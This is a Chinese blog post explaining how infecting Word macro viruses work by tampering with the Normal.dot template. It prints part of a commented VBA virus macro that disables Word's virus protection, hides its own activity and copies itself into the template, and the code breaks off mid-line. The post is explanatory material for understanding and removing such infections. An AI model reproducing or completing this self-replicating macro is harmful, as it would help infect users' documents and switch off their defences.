感染型宏病毒原理

本文详细解析了感染型宏病毒的工作原理,它通过修改Word的缺省公用模板Normal.dot,使得宏代码在用户创建新文档时自动植入。示例分析展示了宏代码结构,并提供了针对XP和Win7以上系统的公用模板删除路径,以清除病毒感染。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、原理

Word文件的生成是通过模板来创建。一般情况下,Word自动将新文档基于缺省的公用模板(Normal.dot);感染型宏病毒通过修改缺省的公用模板中的宏代码,在用户使用word系统并用到缺省的公用模板时,这段宏代码就随着进入到新的文档中。

二、示例分析

宏代码+注释如下:

'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False '不显示状态栏,防止显示宏的运行状态
   Options.VirusProtection = False '关闭病毒保护功能
   Options.SaveNormalPrompt = False '如果公用模板被修改,不显示提示窗口,直接保存
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20) '
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule '待修改的公用模板
   If ThisDocument = NormalTemplate Then _ '如果打开的是公用模板
      Set Host = ActiveDocume
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

拜乔布斯

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值